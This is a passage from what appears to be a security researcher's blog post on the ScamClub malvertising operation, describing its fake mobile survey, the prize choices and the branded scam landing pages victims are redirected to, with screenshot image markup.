on your mobile phone/smartphone? <strong>Yes, regularly, Occasionally, Seldom.<br></strong>Do you plan to replace your phone soon? If so, when?<strong> Not anytime soon, In the next three months, Within a year.<br></strong>Which other operators do you use? <strong>Cell C, MTN, Telkom, Vodacom.<br></strong>Are you satisfied with the connection quality of {the operator you picked}? <strong>Highly satisfied, Reasonably satisfied, Highly dissatisfied.<br></strong>How old are you? <strong>Under 18 years old, 18&#8211;25, 26&#8211;34, 35&#8211;54, 55&#8211;64. <br></strong>What is your gender? <strong>Male or Female.</strong></p></blockquote><p>After completing the survey, the victim chooses a prize. Here are the prizes displayed on an English page.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1uEc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1uEc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png 424w, https://substackcdn.com/image/fetch/$s_!1uEc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png 848w, https://substackcdn.com/image/fetch/$s_!1uEc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png 1272w, https://substackcdn.com/image/fetch/$s_!1uEc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1uEc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png" width="1000" height="1238" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1238,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:286711,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1uEc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png 424w, https://substackcdn.com/image/fetch/$s_!1uEc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png 848w, https://substackcdn.com/image/fetch/$s_!1uEc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png 1272w, https://substackcdn.com/image/fetch/$s_!1uEc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F122bdb3c-c294-47b1-9bd6-c8c43a0e8900_1000x1238.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After a gift is picked, the victim is directed to a new host owned by another entity to enter details to purchase the gift. The landing page the victim lands on after leaving ScamClub&#8217;s,<em> most of the time</em> resembles the prize the victim chooses.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CocL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CocL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png 424w, https://substackcdn.com/image/fetch/$s_!CocL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png 848w, https://substackcdn.com/image/fetch/$s_!CocL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png 1272w, https://substackcdn.com/image/fetch/$s_!CocL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CocL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png" width="1000" height="733" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:733,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:320082,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CocL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png 424w, https://substackcdn.com/image/fetch/$s_!CocL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png 848w, https://substackcdn.com/image/fetch/$s_!CocL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png 1272w, https://substackcdn.com/image/fetch/$s_!CocL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61aed2e0-6aa8-4c05-954a-54c07da87e5b_1000x733.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>Landing page after picking &#8220;Mystery Electonic box&#8221;</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_nNG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_nNG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png 424w, https://substackcdn.com/image/fetch/$s_!_nNG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png 848w, https://substackcdn.com/image/fetch/$s_!_nNG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png 1272w, https://substackcdn.com/image/fetch/$s_!_nNG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_nNG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png" width="1000" height="733" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:733,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:243459,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_nNG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png 424w, https://substackcdn.com/image/fetch/$s_!_nNG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png 848w, https://substackcdn.com/image/fetch/$s_!_nNG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png 1272w, https://substackcdn.com/image/fetch/$s_!_nNG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe65ebfad-3b64-4177-9053-44a088d6d82c_1000x733.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>Landing page after picking &#8220;Dyson Products&#8221;</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!86zf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!86zf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png 424w, https://substackcdn.com/image/fetch/$s_!86zf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png 848w, https://substackcdn.com/image/fetch/$s_!86zf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png 1272w, https://substackcdn.com/image/fetch/$s_!86zf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!86zf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png" width="1000" height="733" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:733,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:191466,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!86zf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png 424w, https://substackcdn.com/image/fetch/$s_!86zf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png 848w, https://substackcdn.com/image/fetch/$s_!86zf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png 1272w, https://substackcdn.com/image/fetch/$s_!86zf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F31338009-1f1a-4045-aadd-b5652e66a83f_1000x733.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>Landing page after picking &#8220;AMERICAN TOURISTER AEROSTEP 77CM&#8221;</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JA1d!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JA1d!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png 424w, https://substackcdn.com/image/fetch/$s_!JA1d!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png 848w, https://substackcdn.com/image/fetch/$s_!JA1d!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png 1272w, https://substackcdn.com/image/fetch/$s_!JA1d!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JA1d!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png" width="1000" height="631" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:631,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:445443,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JA1d!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png 424w, https://substackcdn.com/image/fetch/$s_!JA1d!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png 848w, https://substackcdn.com/image/fetch/$s_!JA1d!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png 1272w, https://substackcdn.com/image/fetch/$s_!JA1d!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0905cc0b-2477-4ac3-995f-49983ccb5235_1000x631.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>Landing page after picking &#8220;Shein $750 Gift Card&#8221;</em></p><p>Some of the scam landing pages are not branded around the item the victim chose.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iaD3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iaD3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png 424w, https://substackcdn.com/image/fetch/$s_!iaD3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png 848w, https://substackcdn.com/image/fetch/$s_!iaD3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png 1272w, https://substackcdn.com/image/fetch/$s_!iaD3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iaD3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png" width="1000" height="632" 